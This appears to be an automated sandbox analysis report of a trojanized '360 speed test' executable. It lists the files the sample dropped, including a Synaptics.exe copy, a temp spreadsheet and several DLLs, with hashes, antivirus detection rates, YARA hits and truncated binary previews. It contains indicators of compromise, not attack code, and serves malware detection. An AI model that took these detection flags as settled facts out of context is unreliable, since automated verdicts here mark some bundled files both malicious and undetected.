                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1848319" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

                                                                                                                                                                          C:\ProgramData\Synaptics\RCX35C5.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):771584
                                                                                                                                                                          Entropy (8bit):6.645519821262512
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9ISr:ansJ39LyjbJkQFMhmC+6GD9N
                                                                                                                                                                          MD5:9429B447E97A8C5F6DCBF760C3A32F02
                                                                                                                                                                          SHA1:3C1E03E1C177E7B0C6E0A7264A72A3090EF50F7D
                                                                                                                                                                          SHA-256:4A2573C836AFF9528EF8EDA12F6CC89FF0F811369B0FE97E5048A609D8EC69FF
                                                                                                                                                                          SHA-512:EC0C354F34D06AB722D36256C33D09E1750E9EA83F40213A95D42CA5424905E3047A6DAD6C4D243A6A4124DF228D2AD529FD9D9CE4BD3D0813955EA9E48D8180
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Yara Hits:
                                                                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCX35C5.tmp, Author: Joe Security
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: Avira, Detection: 100%
                                                                                                                                                                          • Antivirus: Avira, Detection: 100%
                                                                                                                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 92%
                                                                                                                                                                          Reputation:low
                                                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................&....................@.......................... ...................@..............................B*...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                                                                                                                          C:\ProgramData\Synaptics\Synaptics.exe

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):3573760
                                                                                                                                                                          Entropy (8bit):7.8719751427910065
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:49152:onsHyjtk2MYC5GDeSVN8XUBKGA9oD+xEBJQZcaDdVCQo0YpEHkMqZ+x8gU/:onsmtk2aVSQXUG9oDnJQWaDdOpCdqRd/
                                                                                                                                                                          MD5:F4E6AAC90793C1830E47ADFD445254AE
                                                                                                                                                                          SHA1:3DE193FF5B14466E9133924A0CBBD47E93E8E4B5
                                                                                                                                                                          SHA-256:F080BF1C00FB050CC2A92FB17C08CD22D427782C6F47C532A2462CE3325905F0
                                                                                                                                                                          SHA-512:AE58E10AB7B8E91CF54284BD0A5DFB66C1B39A2EBD6247C23086DA9E734D0BBAB47FB6EE4598FF1C73499FF66B064082B669F874E24F108DFCE18471A8925E4B
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Yara Hits:
                                                                                                                                                                          • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: Avira, Detection: 100%
                                                                                                                                                                          • Antivirus: Avira, Detection: 100%
                                                                                                                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 85%
                                                                                                                                                                          Reputation:low
                                                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*......................,...................@...........................6..................@..............................B*......<.+..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...<.+.......+.................@..P....................................@..P........................................................................................................................................

                                                                                                                                                                          C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):26
                                                                                                                                                                          Entropy (8bit):3.95006375643621
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Reputation:high, very likely benign file
                                                                                                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\F4857176-8EFF-4796-B363-C3161AB5ECFC

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):151489
                                                                                                                                                                          Entropy (8bit):5.356569602353779
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:Q+C7/gUbB5BQguwU1Q9DQe+zQVk4F77nXmvidlXRHE6Lcz6I:U2Q9DQe+zwXel
                                                                                                                                                                          MD5:8C769BF5C5A45C7F46115741905B2B0C
                                                                                                                                                                          SHA1:2C83C1542F281FF7F92BE39B6265A1AFB80D27A2
                                                                                                                                                                          SHA-256:2A4B74AA1F098DA973F58B8F009B021EB8212AF8164F5B3582C9E9EC0779E2E5
                                                                                                                                                                          SHA-512:9C473E55956E29E6C2E25757291A4399CA493FEEB4488FFA5F86D8890A4CEFA1ADE576C3515C726BB10B815B6CD9E123635CB683715FF9850CBE4492C7FE3D3D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-12-31T19:08:12">.. Build: 16.0.16012.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&amp;p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[MAX.ResourceId]" o:authorityUrl="[ADALAuthorityU

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\9h8FDxaB.xlsm

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          File Type:Microsoft Excel 2007+
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):18387
                                                                                                                                                                          Entropy (8bit):7.523057953697544
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
                                                                                                                                                                          MD5:E566FC53051035E1E6FD0ED1823DE0F9
                                                                                                                                                                          SHA1:00BC96C48B98676ECD67E81A6F1D7754E4156044
                                                                                                                                                                          SHA-256:8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
                                                                                                                                                                          SHA-512:A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-*c.{...dT.m.kL]Yj.|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd*...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\360NetUL.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):220312
                                                                                                                                                                          Entropy (8bit):6.680555390095105
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:CK5KbGFKXBkN8/MSC6Bvhaxo9TBFP+dXv:CHbc0Y8/Qi2o9TKXv
                                                                                                                                                                          MD5:AA73CBFED1AD3F4DF5D5E7B3BBB3EFD4
                                                                                                                                                                          SHA1:5F45B38F7B6DB74D98034CBD720D1FA2295ABFDD
                                                                                                                                                                          SHA-256:D8D0D85D553A3FAE0CDE56A979F47E793690CD140C30051A2CB0669AE2E41C1F
                                                                                                                                                                          SHA-512:45850C692435D4321CE3063CE94DA52DA861AA67B4C1615681CAD9BCD51665662703B7124D31EE3825EAD27B1E479F7A8C47BE7FFA9462DBAB88B757FD991BBA
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I%.*.D.y.D.y.D.y.<ky.D.y..}y.D.y..ky.D.y*..y.D.y*..y.D.y.D.y.D.y..lyDD.y..zy.D.y..|y.D.y..yy.D.yRich.D.y........................PE..L....Z.N...........!.....b...........$...............................................y....@..........................................P..d............@.......`..........................................@...............`............................text....a.......b.................. ..`.rdata..|............f..............@..@.data....1..........................@....rsrc...d....P......................@..@.reloc..\*...`...,..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\360P2SP.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):724600
                                                                                                                                                                          Entropy (8bit):6.515371619339392
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:xnFslNsHuR4pg6uEBj/jRK5nYg2DNfMC+zFXTX94/wo9Tm5KO1f:5FslNsO6yft2JfMjzFXTt4V9To1f
                                                                                                                                                                          MD5:640F33B0059ED6EB89AA5133263846D3
                                                                                                                                                                          SHA1:F1BC1491BBF6DAEC1FB2B1AA3437BBA4C3D3D0BA
                                                                                                                                                                          SHA-256:677C9F6A9DF66F0F086931AD46B28B4C94BFF7A28960B8E9970B84801D633AD8
                                                                                                                                                                          SHA-512:14E3A419C0A75B3780903889A0D4921AB7487ECF53272C10042DB4D211D15C226A10CF8C25AA23E143EBFE77C15A7A9D6FAE3BD2F4EAA5A701295A8AA6405313
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........^i..^i..^i..y..._i..v..Vi..@;..[i...&..[i..W...~i..y...Ci..^i..i..W....i..W...*i..W..._i..@;.._i..W..._i..Rich^i..........PE..L......P...........!.....v..........<Y..............................................-.....@.........................pX.......D..,....0..................x....@...S..`................................................................................text...,t.......v.................. ..`.rdata..B............z..............@..@.data...@....`...:...F..............@....rsrc........0......................@..@.reloc...q...@...r..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\360net.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):270488
                                                                                                                                                                          Entropy (8bit):6.687168984652715
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:tJkhqo+g6vw+VERSHVKCkP3r+vVi3UH0NT:tMq7g6v9VMS13W36diRNT
                                                                                                                                                                          MD5:B77B55641D4C62FDD130D48CE63150AB
                                                                                                                                                                          SHA1:A10CD7609DA917198ACC633E66BDEE88EFF78285
                                                                                                                                                                          SHA-256:DA8D846D31C6FEDA9FCE2DA65A75C9ECE40B3465F3931875DBCB66D7D7AEB5D8
                                                                                                                                                                          SHA-512:D5F8462D84144091ADB8A1C1742488806E6256271A4B311877C1FF5B0C6C29AA8F5AC99EF6F1454C0F9979D5AF7D10990BBB096C97143DD2E8FF649A58333181
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........t_...1...1...1..G....1..G..Y.1...J...1...0.Q.1..G....1..G....1..G....1..G....1.Rich..1.................PE..L....aO...........!.....\...................p...............................P..........................................z...<...x.... ..h....................0..H....r..............................P...@............p..|............................text....Z.......\.................. ..`.rdata...d...p...f...`..............@..@.data...d2..........................@....rsrc...h.... ......................@..@.reloc.......0... ..................@..B................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\LiveUpd360.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):399344
                                                                                                                                                                          Entropy (8bit):6.525659947793564
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:Q60nOaN+UpBOp+j1stF+sb6YkgXti5Y2ch+:QJ06fIQ5Y2S+
                                                                                                                                                                          MD5:77106684F45C7C504B21AD948956734E
                                                                                                                                                                          SHA1:5043039A8BC35EE71D8F17B921F35D6DEBF01831
                                                                                                                                                                          SHA-256:F3803AB55BBFFFECA21BAB8BED43004A0DD019B1A97196602825E1D1D61C9554
                                                                                                                                                                          SHA-512:4DC02E47B6071395D7CDA332CE74109F92682C7A00346C3DC0160D9747881D78A93F38B20A7C4CEB1B5E25B1E6CC86D3AAC98780AE40F3378C4DE007CA951C9D
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qW. 56.s56.s56.s...s46.s.y.s46.s<N.s)6.s<N.s.6.s...s"6.s56.s.6.s<N.sU6.s<N.s46.s+d.s46.s<N.s46.sRich56.s................PE..L....q.P...........!.........>.......+...............................................l................................../............@.......................P..|....................................U..@...............0............................text.............................. ..`.rdata..............................@..@.data............ ..................@....rsrc........@......................@..@.reloc..@D...P...F..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\PDown.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):210408
                                                                                                                                                                          Entropy (8bit):6.507157820903005
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:TJnuJFUvm00JlB8uLp/Me7AQo7ZWQueVMAI64kliFa/nyG5e0P9:9nuJFUvSJP/Bid9/VMg4klfiI9
                                                                                                                                                                          MD5:23944F2C8C2614814CD9EEEAD7C15622
                                                                                                                                                                          SHA1:FE5BFBED6900D976AC56EAC386423D82A35BDE7E
                                                                                                                                                                          SHA-256:68CB47636533713F460FA932975189BEFB0DDCA0750E8F75418B6C616F9BA3BA
                                                                                                                                                                          SHA-512:C16AC9EB39375950E554CB6C2814ECD385D39F2729DC2B26618647705D99DE7A2626759C3DEEB8C8A12E7658ECE6A5569FB1EF5D01B8F1CB8CFFAD7EEFE92555
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................o.~......}......k.A....K.........h.....l......z......|......y....Rich...........PE..L....q.P...........!.....L...........N.......`...............................`.......3............................................... .......................0..`....c..............................`...@............`...............................text....J.......L.................. ..`.rdata...y...`...z...P..............@..@.data...@<..........................@....rsrc........ ......................@..@.reloc..^*...0...,..................@..B................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360NetSpd2.dat

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):25404
                                                                                                                                                                          Entropy (8bit):3.846384704841036
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:384:0NyACl7V6WS1eLaja5aKaCaxa9ava0azahaRaCamaQa7aU:0NyACl7VbkeuGATrYECJWI4r/leU
                                                                                                                                                                          MD5:99D67251C463791FC583CB7B7446B7C0
                                                                                                                                                                          SHA1:8EEA92D58F1694863E1DCB11B823C849F0289E71
                                                                                                                                                                          SHA-256:18D285E76062C11E8CFE1AD458CCAAA70BF1DB0A82D52698B81FEA9174174567
                                                                                                                                                                          SHA-512:3C22378377CD20E237D034B9C41D66E4DFAF9F43FFE071E028BC544A2299AFE5AA783D03347ACDF522282BD84CB25AE09956E20023FA274BD5A0B4490A57ACB0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:D063<................c...U..................................?...3333........W.{..B...q.........{..oY...m..T.j..............................................................{......oY.a..........m..T.j.............................................................................W.......q..s..v.s..........{....o.|..z..........7v...g......@...............................9vngs.V...#......o.+.|p....................................................................W.{....o.........Qte...?...............o{..p...............................................S...h....!pZ...#..e...?...............o{..p..................................................o.......*t*t.......~..o..7v../.'e.......g.oY.................................................?...3333........W.{..B...q.........{..oY...a.................................................................{......oY.a..............................................................................................W.......q..s.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1415544
                                                                                                                                                                          Entropy (8bit):6.869199171632975
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24576:fXPBYpHJcZuCX7pn4qWc9RAx9Txd/GWEWtLQJlLQdEqG9HcQ:RYmuGn4jsAXTxFGWEWZQJhQmqsHcQ
                                                                                                                                                                          MD5:93E2A4CA6DC7ECBAD3F3A179F796CBFF
                                                                                                                                                                          SHA1:91FA9D07A42E5DB7FBAFEEF1AD18A62E4DE78C15
                                                                                                                                                                          SHA-256:0C05E7209E4631A147A0B374E1DEDD83510EB32948FB1759C20626656DD01599
                                                                                                                                                                          SHA-512:A9F997879CB644C4582CC9B658C68D0D0B9919831B6B5734214248384A3EAE9E3D3BBA046B6592F9F1ACD17C5A686EEC6DD69263CEBD9898AD5B761332A8ED6E
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b..}1..}1..}1;..1..}1...1..}1...1..}1...1..}1...12.}1.A.1..}1.A.1..}1..|1..}1...1.}1...1..}1...1..}1Rich..}1................PE..L......P.................n..........&.............@.......................................@.....................................@.......................x....P..........................................@...............0............................text...8l.......n.................. ..`.rdata...].......^...r..............@..@.data...........@..................@....rsrc...............................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.his

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):346
                                                                                                                                                                          Entropy (8bit):4.847716777021176
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:Od8m76WrgDn48a6s8Xbcy8XaGoM1rxPTI+5+sPiXqxSHinY66WrcTaXPpq5YW:OSmxrgb48BsXy8cM1NUuPiXKS+lrcufM
                                                                                                                                                                          MD5:2F8D1ED9480296D6E8E855838906FED4
                                                                                                                                                                          SHA1:76BCD57C091076D672888CD041252942682D4EEB
                                                                                                                                                                          SHA-256:AD591D86B9F081915FF7C116572303C3D334EFC478CC48370DEE2AC599978216
                                                                                                                                                                          SHA-512:FF366E3DFA0E5630050CA622EA0225AA43D98205C6C164FF54CF1458A51267E897A832F9BCD6B4BB3E2E8E38F287F05AD5CACF9919AF147D861D8FE225AAC368
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[History]..Times=Nzk2Njg3Njo5ODY5Pjg2NjY2Qzw3OT07O0E3OTY2ODc2Ojo6Oz86PzY2NjZDNzc/Ozo+OUE3OTY2ODc2Oj09PDs8OTY2NjZDPD84OT8+QTc5NjY4NzY6Pjk7OTo6NjY2NkM3Nj49ODo5QTc5NjY4NzY6Pzk6Pzg2NjY2NkM3Nzg4Ojw8QTc5NjY4NzY6Pz45Pz44NjY2NkM9Ozs+PT1BNzk5Nzw/PzY/Oj42Oz02NjY2Qzo2OTw5Oj9B..Days=Nzk2Njg3Njo/Pjk/Pjg2NjY2Qz07Oz49PUE3OTk3PD8/Nj86PjY7PTY2NjZDOjY5PDk6P0E=..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360Speedr.ini

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):56
                                                                                                                                                                          Entropy (8bit):4.646752806705981
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:0cx4nMpJ8VHpWfVu3y:0cx4nkEaVu3y
                                                                                                                                                                          MD5:CD0486D67C064AF9DFDF7E5551235203
                                                                                                                                                                          SHA1:62DCE576E6F748F89BB34F767293621D168F2384
                                                                                                                                                                          SHA-256:72A8430F5E22D06A0CB8624C98694271D2AD5324F9E5302931A968951F38747B
                                                                                                                                                                          SHA-512:2CC00BCFAD400587C712FCFC64DB6B1856A622FDB88DE3DC83F4CA6E3B51965545A79EF68829FD0FCF500338908EAF29F17D08CDB30CF4DA74A4278910FB48A5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[RESULT]..Speed=4036349..TimeStamp=2022-12-31 20:09:08..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360netmon.ini

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):23
                                                                                                                                                                          Entropy (8bit):4.001822825622231
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:kScovWv:9coA
                                                                                                                                                                          MD5:BBE25A897AC1E529EEEB063BE2A0F02E
                                                                                                                                                                          SHA1:2E0A0D58A4A9E869FE20D03D1EC45C2B654978CD
                                                                                                                                                                          SHA-256:01864A0FA491383D4D30C903EDBF6D7F5C8DB05705B26960D500BD811D0E4249
                                                                                                                                                                          SHA-512:CB42F3854FFC00ABBFDFEB9DF3777E60BA2A3ECE01921839AF7FAEA12812C1AAF0DDFD9630DED025C0F17D64419042C09B600A50A1D47EA8640313C196F2F542
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[maxspeed]..0=4036349..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360nettj.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):504184
                                                                                                                                                                          Entropy (8bit):7.096201280276808
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:QnwPU8sQB3PcpdyNCXeBL2Jy3rNDaGlXdxJlaq3:oePcC2w2J0Hdxaq3
                                                                                                                                                                          MD5:938398F9B91F683759904C3F415881A2
                                                                                                                                                                          SHA1:10AA675E601DCA3EAEA4D656EE81FC3607F6466E
                                                                                                                                                                          SHA-256:97DFBBF036D38F2FD281EB8FB67FB1385A724A7792438EC0BB2514C7653F327E
                                                                                                                                                                          SHA-512:9E4D64D873D5C38EBE0078060CEB13A2731A05D616047FDF0C584985EC8ADAF3F79563BECFEB1314F1845F37B059EE9C9E3BF610BB10FF33F35D5D631393D30E
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
                                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g:.\.T.\.T.\.T..I..].T.U~..D.T.U~....T.BT..X.T.U~....T.{.9.].T.{./.A.T.\.U.u.T.U~..I.T.U~..].T.BT..].T.U~..].T.Rich\.T.........................PE..L...T.P...........!.....................................................................@....................................,.......$...............x........0...................................K..@............... ............................text............................... ..`.rdata..X...........................@..@.data....K.......&..................@....rsrc...$...........................@..@.reloc..BO.......P...L..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\?????\netmon\360perfoptm.dll

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):282056
                                                                                                                                                                          Entropy (8bit):6.593198720829774
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:HPl1D3Mj0H5F5lIXhtatYG1caTmpqrC6WeSeNjAfM9xUdbuo9TBfAD7WS5+Qlwkq:HPgoual1mptyNkk92Yo9TBYDCNcdI
                                                                                                                                                                          MD5:957286BA3C489DC241413580F17E570E
                                                                                                                                                                          SHA1:AA046CA68A9FF2FCFFF88D499763BA701A818836
                                                                                                                                                                          SHA-256:3C7B2A8E149D3F910E531E74336AA58D214AE09D74D1CFE80F396B44F4D2B542
                                                                                                                                                                          SHA-512:1CAE09A4BFE5A716E94710316D3FFBF7D27E7F1B0E981F9789ED53AA163884C810F2FF430C836CCC094EC3418A13E037B02A0ABDD20ABA00CE22F924CE81C627
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Antivirus:
